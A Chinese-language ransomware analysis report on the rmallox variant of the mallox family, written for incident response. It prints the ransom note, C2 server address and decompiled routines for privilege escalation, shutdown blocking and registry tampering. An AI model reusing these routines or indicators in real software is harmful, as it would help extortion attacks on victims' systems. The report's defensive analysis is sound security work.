文章总结： 这篇文档详细分析了mallox家族rmallox变种勒索软件的行为机制，包括其通过财务系统漏洞入侵、选择性感染非俄语系统、加密文件添加.rmallox后缀、阻止系统关机、修改注册表等行为。报告提供了逆向工程分析结果，包括文件黑名单、网络连接特征和进程终止策略。安全建议包括资产梳理、安全设备调优和全员安全意识培训，以防范此类勒索软件攻击。
综合评分： 88
文章分类： 恶意软件,漏洞分析,应急响应,威胁情报,病毒分析

【病毒分析】mallox家族rmallox变种加密器分析报告

原创

索勒安全团队

solar应急响应团队

2024年3月28日 16:36
山东

1.背景

1.1来源

近期，Solar团队收到某信息技术公司的援助请求，该公司的计算机服务器受到了mallox勒索家族的侵害，所有的文件被加密并且添加了.rmallox后缀，该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求，本文暂不提供对入侵事件溯源的分析报告，仅提供该勒索病毒加密器的逆向分析报告。

1.2 入侵路线图

2.恶意文件基础信息

2.1 文件基础信息

| 大小 | 489984(478.50 KiB) |
| — | — |
| 操作系统 | Windows(Vista) |
| 架构 | AMD64 |
| 模式 | 64 位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | 9f908f344ec041cc1ebe5324da2cf183 |
| SHA256 | 2f5fac1ababd213d8010eda9ccb5320f25fd0f2e95bb86154bf7e8bcad6fc4dc |

2.2 勒索信

HOW&nbsp;TO&nbsp;BACK&nbsp;FILES.txt
Hello

Your&nbsp;data&nbsp;has&nbsp;been&nbsp;stolen&nbsp;and&nbsp;encrypted
We&nbsp;will&nbsp;delete&nbsp;the&nbsp;stolen&nbsp;data&nbsp;and&nbsp;help&nbsp;with&nbsp;the&nbsp;recovery&nbsp;of&nbsp;encrypted&nbsp;files&nbsp;after&nbsp;payment&nbsp;has&nbsp;been&nbsp;made

Do&nbsp;not&nbsp;try&nbsp;to&nbsp;change&nbsp;or&nbsp;restore&nbsp;files&nbsp;yourself,&nbsp;this&nbsp;will&nbsp;break&nbsp;them
We&nbsp;provide&nbsp;free&nbsp;decryption&nbsp;for&nbsp;any&nbsp;3&nbsp;files&nbsp;up&nbsp;to&nbsp;3MB&nbsp;in&nbsp;size&nbsp;on&nbsp;our&nbsp;website

How&nbsp;to&nbsp;contact&nbsp;with&nbsp;us:
1)&nbsp;Download&nbsp;and&nbsp;install&nbsp;TOR&nbsp;browser&nbsp;by&nbsp;this&nbsp;link:&nbsp;https://www.torproject.org/download/
2)&nbsp;If&nbsp;TOR&nbsp;blocked&nbsp;in&nbsp;your&nbsp;country&nbsp;and&nbsp;you&nbsp;can't&nbsp;access&nbsp;to&nbsp;the&nbsp;link&nbsp;then&nbsp;use&nbsp;any&nbsp;VPN&nbsp;software
3)&nbsp;Run&nbsp;TOR&nbsp;browser&nbsp;and&nbsp;open&nbsp;the&nbsp;site:&nbsp;wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
4)&nbsp;Copy&nbsp;your&nbsp;private&nbsp;ID&nbsp;in&nbsp;the&nbsp;input&nbsp;field.&nbsp;Your&nbsp;Private&nbsp;key:&nbsp;FF50CCD4675CA605258D169B
5)&nbsp;You&nbsp;will&nbsp;see&nbsp;chat,&nbsp;payment&nbsp;information&nbsp;and&nbsp;we&nbsp;can&nbsp;make&nbsp;free&nbsp;test&nbsp;decryption&nbsp;here

Our&nbsp;blog&nbsp;of&nbsp;leaked&nbsp;companies:
wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

TargetInfo.txt，其中X.X.X.X为电脑使用的公网ip，若电脑在NAT等网络环境下，此ip为网关的ip，下述文本已做脱敏处理：

88485EE5E0F8C25F0C018C31|Windows 10 Enterprise x64, CN, X.X.X.X, DESKTOP-IDAQ0I4|0.0|20

3.网络连接

3.1 域名解析

http://api.ipify.org/：利用此网站获得被感染机器的ip地址：

3.2 TCP连接

共2个TCP连接

| 64.185.227.156:80 | api.ipify.org网站IP，无恶意行为 |
| — | — |
| 91.215.85.142:80 | http://91.215.85.142:80/QWEwqdsvsf/ap.php 勒索软件服务器IP,关联样本主要涉及Mallox,GarrantDecrypt,Amadey恶意样本家族 |

4.恶意文件分析

4.1威胁分析

| 病毒家族 | mallox |
| — | — |
| 首次出现时间/捕获分析时间 | 2023/08/28 || 2024/03/20 |
| 威胁类型 | 勒索软件，加密病毒 |
| 勒索软件地区 | 疑似俄罗斯联邦 |
| 加密文件扩展名 | .rmallox |
| 勒索信文件名 | HOW TO BACK FILES.txt |
| 有无免费解密器？ | 无 |
| 联系邮箱 | [email protected] |
| 检测名称 | Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci)，ClamAV（Win.Ransomware.Rapid-9371249-0），Cybereason（Malicious.0fe686），Cynet（Malicious (score: 100)），DrWeb（Trojan.Encoder.37869），eScan（Trojan.GenericKD.70329037）， Fortinet （W32/Filecoder.MALL!tr.ransom），Google（Detected） |
| 感染症状 | 无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名（.rmallox）。桌面上会显示一条勒索要求消息（HOW TO BACK FILES.txt）。网络犯罪分子要求通过洋葱路由登录到他们提供的数据恢复网站，根据不同的用户情况，黑客的开价也不同 |
| 感染方式 | 受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接 |
| 受灾影响 | 大部分文件（不包括exe dll等文件，与重要系统文件）都经过加密，如果不支付赎金无法打开。黑客声称拿到了电脑内的重要数据，若不支付赎金则会在黑客的blog上公开 |

4.2加密前后对比

加密后

解密后

加密前

加密后

5.逆向分析

5.1选择性感染

与malloxx一样，rmallox也通过语言标识进行选择性感染。

LOWORD(v5)&nbsp;=&nbsp;GetUserDefaultLangID()&nbsp;-&nbsp;1049;
if&nbsp;(&nbsp;(unsigned&nbsp;__int16)v5&nbsp;>&nbsp;0x2Bu&nbsp;||&nbsp;(v6&nbsp;=&nbsp;0x84000000601i64,&nbsp;!_bittest64(&v6,&nbsp;v5))&nbsp;)

对于系统默认语言为下列语言，不执行而已行为。

| 俄语(俄罗斯) | 0x419 |
| — | — |
| 哈萨克语(哈萨克斯坦) | 0x43F |
| 白俄罗斯语 | 0x423 |
| 乌克兰语(乌克兰) | 0x422 |
| 鞑靼语(俄罗斯) | 0x444 |

5.2 防止重复感染

利用创建事件，确保程序只被运行一次：

&nbsp;EventA&nbsp;=&nbsp;CreateEventA(0i64,&nbsp;1,&nbsp;0,&nbsp;"89A72EF01");
&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;EventA;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;EventA&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;WaitForSingleObject(EventA,&nbsp;0x1F4u)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do_something

5.3 设置系统电源管理

将电源方案设置为高性能模式：

SetEvent(v8);
LibraryA&nbsp;=&nbsp;LoadLibraryA("PowrProf.dll");
if&nbsp;(&nbsp;LibraryA&nbsp;)
{
&nbsp;&nbsp;PowerSetActiveScheme&nbsp;=&nbsp;(DWORD&nbsp;(__stdcall&nbsp;*)(HKEY,&nbsp;const&nbsp;GUID&nbsp;*))GetProcAddress(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LibraryA,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"PowerSetActiveScheme");
&nbsp;&nbsp;if&nbsp;(&nbsp;PowerSetActiveScheme&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;((void&nbsp;(__fastcall&nbsp;*)(_QWORD,&nbsp;void&nbsp;*))PowerSetActiveScheme)(0i64,&nbsp;&unk_1400537E0);
}

5.4 退出提示

阻止系统关机或重新启动，并显示一个警告消息：

v18&nbsp;=&nbsp;GetModuleHandleA("user32.dll");
ShutdownBlockReasonCreate&nbsp;=&nbsp;(BOOL&nbsp;(__stdcall&nbsp;*)(HWND,&nbsp;LPCWSTR))GetProcAddress(v18,&nbsp;"ShutdownBlockReasonCreate");
if&nbsp;(&nbsp;ShutdownBlockReasonCreate&nbsp;)
{
&nbsp;&nbsp;*(_QWORD&nbsp;*)&WndClass.style&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;memset(&WndClass.hIcon,&nbsp;0,&nbsp;32);
&nbsp;&nbsp;WndClass.lpfnWndProc&nbsp;=&nbsp;(WNDPROC)sub_14000AB40;
&nbsp;&nbsp;*(_QWORD&nbsp;*)&WndClass.cbClsExtra&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;WndClass.hInstance&nbsp;=&nbsp;GetModuleHandleW(0i64);
&nbsp;&nbsp;WndClass.lpszClassName&nbsp;=&nbsp;L"window";
&nbsp;&nbsp;v20&nbsp;=&nbsp;RegisterClassW(&WndClass);
&nbsp;&nbsp;Window&nbsp;=&nbsp;CreateWindowExW(0,&nbsp;(LPCWSTR)v20,&nbsp;0i64,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0x80000000,&nbsp;0x80000000,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64);
&nbsp;&nbsp;((void&nbsp;(__fastcall&nbsp;*)(HWND,&nbsp;const&nbsp;wchar_t&nbsp;*))ShutdownBlockReasonCreate)(
&nbsp;&nbsp;&nbsp;&nbsp;Window,
&nbsp;&nbsp;&nbsp;&nbsp;L"Do&nbsp;NOT&nbsp;shutdown&nbsp;OR&nbsp;reboot&nbsp;your&nbsp;PC:&nbsp;this&nbsp;might&nbsp;damage&nbsp;your&nbsp;files&nbsp;permanently&nbsp;!");
}

5.5 获得权限

获得SeTakeOwnershipPrivilege&SeDebugPrivilege权限：

sub_140007300(L"SeTakeOwnershipPrivilege");
sub_140007300(L"SeDebugPrivilege");

BOOL&nbsp;__fastcall&nbsp;sub_140007300(LPCWSTR&nbsp;lpName)
{
&nbsp;&nbsp;HANDLE&nbsp;CurrentThread;&nbsp;//&nbsp;rax
&nbsp;&nbsp;HANDLE&nbsp;CurrentProcess;&nbsp;//&nbsp;rax
&nbsp;&nbsp;BOOL&nbsp;result;&nbsp;//&nbsp;eax
&nbsp;&nbsp;bool&nbsp;v5;&nbsp;//&nbsp;bl
&nbsp;&nbsp;HANDLE&nbsp;TokenHandle;&nbsp;//&nbsp;[rsp+30h]&nbsp;[rbp-28h]&nbsp;BYREF
&nbsp;&nbsp;struct&nbsp;_TOKEN_PRIVILEGES&nbsp;NewState;&nbsp;//&nbsp;[rsp+38h]&nbsp;[rbp-20h]&nbsp;BYREF

&nbsp;&nbsp;CurrentThread&nbsp;=&nbsp;GetCurrentThread();
&nbsp;&nbsp;if&nbsp;(&nbsp;OpenThreadToken(CurrentThread,&nbsp;0x20u,&nbsp;0,&nbsp;&TokenHandle)
&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;(CurrentProcess&nbsp;=&nbsp;GetCurrentProcess(),&nbsp;result&nbsp;=&nbsp;OpenProcessToken(CurrentProcess,&nbsp;0x20u,&nbsp;&TokenHandle))&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;NewState.Privileges[0].Attributes&nbsp;=&nbsp;2;
&nbsp;&nbsp;&nbsp;&nbsp;NewState.PrivilegeCount&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;LookupPrivilegeValueW(0i64,&nbsp;lpName,&nbsp;&NewState.Privileges[0].Luid)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;AdjustTokenPrivileges(TokenHandle,&nbsp;0,&nbsp;&NewState,&nbsp;0,&nbsp;0i64,&nbsp;0i64)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;GetLastError()&nbsp;==&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(TokenHandle);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;v5;
&nbsp;&nbsp;}
&nbsp;&nbsp;return&nbsp;result;
}

5.6 修改注册表

功能包括隐藏关机按钮等：

v18&nbsp;=&nbsp;GetModuleHandleA("user32.dll");
ShutdownBlockReasonCreate&nbsp;=&nbsp;(BOOL&nbsp;(__stdcall&nbsp;*)(HWND,&nbsp;LPCWSTR))GetProcAddress(v18,&nbsp;"ShutdownBlockReasonCreate");
if&nbsp;(&nbsp;ShutdownBlockReasonCreate&nbsp;)
{
&nbsp;&nbsp;*(_QWORD&nbsp;*)&WndClass.style&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;memset(&WndClass.hIcon,&nbsp;0,&nbsp;32);
&nbsp;&nbsp;WndClass.lpfnWndProc&nbsp;=&nbsp;(WNDPROC)sub_14000AB40;
&nbsp;&nbsp;*(_QWORD&nbsp;*)&WndClass.cbClsExtra&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;WndClass.hInstance&nbsp;=&nbsp;GetModuleHandleW(0i64);
&nbsp;&nbsp;WndClass.lpszClassName&nbsp;=&nbsp;L"window";
&nbsp;&nbsp;v20&nbsp;=&nbsp;RegisterClassW(&WndClass);
&nbsp;&nbsp;Window&nbsp;=&nbsp;CreateWindowExW(0,&nbsp;(LPCWSTR)v20,&nbsp;0i64,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0x80000000,&nbsp;0x80000000,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64);
&nbsp;&nbsp;((void&nbsp;(__fastcall&nbsp;*)(HWND,&nbsp;const&nbsp;wchar_t&nbsp;*))ShutdownBlockReasonCreate)(
&nbsp;&nbsp;&nbsp;&nbsp;Window,
&nbsp;&nbsp;&nbsp;&nbsp;L"Do&nbsp;NOT&nbsp;shutdown&nbsp;OR&nbsp;reboot&nbsp;your&nbsp;PC:&nbsp;this&nbsp;might&nbsp;damage&nbsp;your&nbsp;files&nbsp;permanently&nbsp;!");
}
*(_DWORD&nbsp;*)Data&nbsp;=&nbsp;1;
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
*(_DWORD&nbsp;*)Data&nbsp;=&nbsp;0;
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"shutdownwithoutlogon",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Policies\\Microsoft\\Windows&nbsp;NT\\Terminal&nbsp;Services",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"MaxConnectionTime",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Policies\\Microsoft\\Windows&nbsp;NT\\Terminal&nbsp;Services",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"MaxDisconnectionTime",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Policies\\Microsoft\\Windows&nbsp;NT\\Terminal&nbsp;Services",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"MaxIdleTime",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
v25&nbsp;=&nbsp;0i64;
v24&nbsp;=&nbsp;0i64;
sub_140009CD0(&v24);
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"value",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
*(_DWORD&nbsp;*)Data&nbsp;=&nbsp;1;
phkResult&nbsp;=&nbsp;0i64;
if&nbsp;(&nbsp;!RegOpenKeyExW(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HKEY_LOCAL_MACHINE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2u,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&phkResult)&nbsp;)
{
&nbsp;&nbsp;RegSetValueExW(phkResult,&nbsp;L"shutdownwithoutlogon",&nbsp;0,&nbsp;4u,&nbsp;Data,&nbsp;4u);
&nbsp;&nbsp;RegCloseKey(phkResult);
}
DeleteCriticalSection(&stru_140076290);
DeleteCriticalSection(&CriticalSection);
DeleteCriticalSection(&stru_1400762B8);
if&nbsp;(&nbsp;v13&nbsp;)
{
&nbsp;&nbsp;WaitForSingleObject(v13,&nbsp;0xFFFFFFFF);
&nbsp;&nbsp;CloseHandle(v13);
}
if&nbsp;(&nbsp;v14&nbsp;)
{
&nbsp;&nbsp;WaitForSingleObject(v14,&nbsp;0xFFFFFFFF);
&nbsp;&nbsp;CloseHandle(v14);
}
}

5.7 文件搜索

和malloxx木马相同，遍历文件夹搜索需要加密的文件与加密文件使用不同的线程，使用PostQueuedCompletionStatus向待加密文件队列中添加文件，并使用全局变量存储当前队列中还有多少文件待加密，在此木马中递归遍历文件夹的函数为140007AE0，该函数同时复杂向被加密的文件夹中写入勒索信息HOW TO BACK FILES.txt。

5.8 文件后缀黑名单

如果文件的后缀在文件后缀黑名单中，那么此文件不会被加密

.rdata:000000014005F530&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsstyles&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".msstyles"
.rdata:000000014005F538&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIcl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".icl"
.rdata:000000014005F540&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIdx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".idx"
.rdata:000000014005F548&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAvast&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".avast"
.rdata:000000014005F550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".rtp"
